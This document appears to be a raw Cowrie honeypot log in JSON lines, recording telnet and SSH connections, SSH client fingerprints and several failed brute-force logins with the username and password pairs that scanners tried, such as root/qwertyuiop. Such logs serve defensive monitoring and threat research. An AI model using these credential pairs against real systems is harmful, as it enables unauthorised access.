{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41588,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc2e5c76708b","protocol":"telnet","message":"New connection: 152.42.224.71:41588 (10.17.0.5:23) [session: cc2e5c76708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:26.098762Z"}
{"eventid":"cowrie.session.closed","duration":37.94547748565674,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:28.515514Z","src_ip":"152.42.224.71","session":"957657bdefe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52570,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb8fa44b7731","protocol":"telnet","message":"New connection: 152.42.224.71:52570 (10.17.0.5:23) [session: eb8fa44b7731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:29.537810Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44426,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad647c39734","protocol":"ssh","message":"New connection: 31.40.204.166:44426 (159.203.135.109:22) [session: cad647c39734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:30.881420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:30.887207Z","src_ip":"31.40.204.166","session":"cad647c39734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:31.016331Z","src_ip":"31.40.204.166","session":"cad647c39734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:31.493930Z","src_ip":"31.40.204.166","session":"cad647c39734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":38330,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9cd3e4bedc","protocol":"ssh","message":"New connection: 47.237.167.49:38330 (159.203.135.109:22) [session: 0d9cd3e4bedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:31.811843Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:32.897022Z","src_ip":"31.40.204.166","session":"cad647c39734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52580,"dst_ip":"10.17.0.5","dst_port":23,"session":"3414ea268312","protocol":"telnet","message":"New connection: 152.42.224.71:52580 (10.17.0.5:23) [session: 3414ea268312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:33.058748Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42494,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e36eead431","protocol":"telnet","message":"New connection: 152.42.224.71:42494 (10.17.0.5:23) [session: 96e36eead431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:36.377648Z"}
{"eventid":"cowrie.session.closed","duration":52.386027812957764,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:39.309382Z","src_ip":"152.42.224.71","session":"e47d96cbe8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"70257885437f","protocol":"telnet","message":"New connection: 152.42.224.71:42510 (10.17.0.5:23) [session: 70257885437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:39.531310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:39.681637Z","src_ip":"47.237.167.49","session":"0d9cd3e4bedc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:39.686481Z","src_ip":"47.237.167.49","session":"0d9cd3e4bedc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42514,"dst_ip":"10.17.0.5","dst_port":23,"session":"eded43bac10c","protocol":"telnet","message":"New connection: 152.42.224.71:42514 (10.17.0.5:23) [session: eded43bac10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:39.738559Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0e99575682","protocol":"telnet","message":"New connection: 152.42.224.71:42508 (10.17.0.5:23) [session: ea0e99575682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:40.201990Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c7284ed581","protocol":"telnet","message":"New connection: 152.42.224.71:42520 (10.17.0.5:23) [session: 23c7284ed581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:41.129960Z"}
{"eventid":"cowrie.session.closed","duration":46.6624641418457,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:41.483906Z","src_ip":"152.42.224.71","session":"c1c965d4ec78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"e55fb4b52748","protocol":"ssh","message":"New connection: 31.40.204.166:57492 (159.203.135.109:22) [session: e55fb4b52748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:42.615653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:42.620579Z","src_ip":"31.40.204.166","session":"e55fb4b52748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:42.783190Z","src_ip":"31.40.204.166","session":"e55fb4b52748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:43.600073Z","src_ip":"31.40.204.166","session":"e55fb4b52748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:44.790973Z","src_ip":"31.40.204.166","session":"e55fb4b52748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.51975154876709,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:46.268114Z","src_ip":"152.42.224.71","session":"196a146ff37f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.11267280578613,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:47.225484Z","src_ip":"152.42.224.71","session":"664946095851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07562bc5d91","protocol":"telnet","message":"New connection: 152.42.224.71:43886 (10.17.0.5:23) [session: b07562bc5d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:49.299148Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43902,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d2aa8ecd243","protocol":"telnet","message":"New connection: 152.42.224.71:43902 (10.17.0.5:23) [session: 4d2aa8ecd243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:49.437747Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:52.286641Z","src_ip":"47.237.167.49","session":"0d9cd3e4bedc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43918,"dst_ip":"10.17.0.5","dst_port":23,"session":"6244c0d804ad","protocol":"telnet","message":"New connection: 152.42.224.71:43918 (10.17.0.5:23) [session: 6244c0d804ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:53.190026Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55772,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce5b59b059a","protocol":"ssh","message":"New connection: 31.40.204.166:55772 (159.203.135.109:22) [session: 9ce5b59b059a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:55.281588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:55.286262Z","src_ip":"31.40.204.166","session":"9ce5b59b059a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:55.422111Z","src_ip":"31.40.204.166","session":"9ce5b59b059a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.6","message":"Connection lost after 23.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:55.441735Z","src_ip":"47.237.167.49","session":"0d9cd3e4bedc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:55.915169Z","src_ip":"31.40.204.166","session":"9ce5b59b059a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42344,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a5607e9460","protocol":"telnet","message":"New connection: 152.42.224.71:42344 (10.17.0.5:23) [session: f2a5607e9460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:56.818782Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:57.087071Z","src_ip":"31.40.204.166","session":"9ce5b59b059a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.84567666053772,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:57.378112Z","src_ip":"152.42.224.71","session":"13df9efa3c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42356,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d36ca796526","protocol":"telnet","message":"New connection: 152.42.224.71:42356 (10.17.0.5:23) [session: 7d36ca796526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:59.588088Z"}
{"eventid":"cowrie.session.closed","duration":53.05645394325256,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:01.290758Z","src_ip":"152.42.224.71","session":"2258251e30ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.569933891296387,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:02.308393Z","src_ip":"152.42.224.71","session":"eded43bac10c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.86293935775757,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:03.507476Z","src_ip":"152.42.224.71","session":"519bf06f6dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50408,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab3a66eaefc5","protocol":"ssh","message":"New connection: 31.40.204.166:50408 (159.203.135.109:22) [session: ab3a66eaefc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:07.117395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:07.121894Z","src_ip":"31.40.204.166","session":"ab3a66eaefc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:07.290509Z","src_ip":"31.40.204.166","session":"ab3a66eaefc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:08.093912Z","src_ip":"31.40.204.166","session":"ab3a66eaefc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193333625793,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:08.773838Z","src_ip":"152.42.224.71","session":"0d2575b83413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:09.291517Z","src_ip":"31.40.204.166","session":"ab3a66eaefc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50940,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e9d5df45e50","protocol":"telnet","message":"New connection: 152.42.224.71:50940 (10.17.0.5:23) [session: 4e9d5df45e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:12.394554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50948,"dst_ip":"10.17.0.5","dst_port":23,"session":"4670b88441b4","protocol":"telnet","message":"New connection: 152.42.224.71:50948 (10.17.0.5:23) [session: 4670b88441b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:13.634600Z"}
{"eventid":"cowrie.session.closed","duration":41.818989515304565,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:14.877656Z","src_ip":"152.42.224.71","session":"3414ea268312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50974,"dst_ip":"10.17.0.5","dst_port":23,"session":"8570637df559","protocol":"telnet","message":"New connection: 152.42.224.71:50974 (10.17.0.5:23) [session: 8570637df559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:15.196756Z"}
{"eventid":"cowrie.session.closed","duration":39.13088941574097,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:15.508459Z","src_ip":"152.42.224.71","session":"96e36eead431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50962,"dst_ip":"10.17.0.5","dst_port":23,"session":"49ce2612941a","protocol":"telnet","message":"New connection: 152.42.224.71:50962 (10.17.0.5:23) [session: 49ce2612941a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:15.666775Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43060,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3335302ea1","protocol":"telnet","message":"New connection: 152.42.224.71:43060 (10.17.0.5:23) [session: bc3335302ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:18.555843Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57770,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8841acc53a","protocol":"ssh","message":"New connection: 31.40.204.166:57770 (159.203.135.109:22) [session: 6c8841acc53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:19.581426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43078,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f5684733f06","protocol":"telnet","message":"New connection: 152.42.224.71:43078 (10.17.0.5:23) [session: 1f5684733f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:19.605511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:19.611196Z","src_ip":"31.40.204.166","session":"6c8841acc53a","protocol":"ssh"}
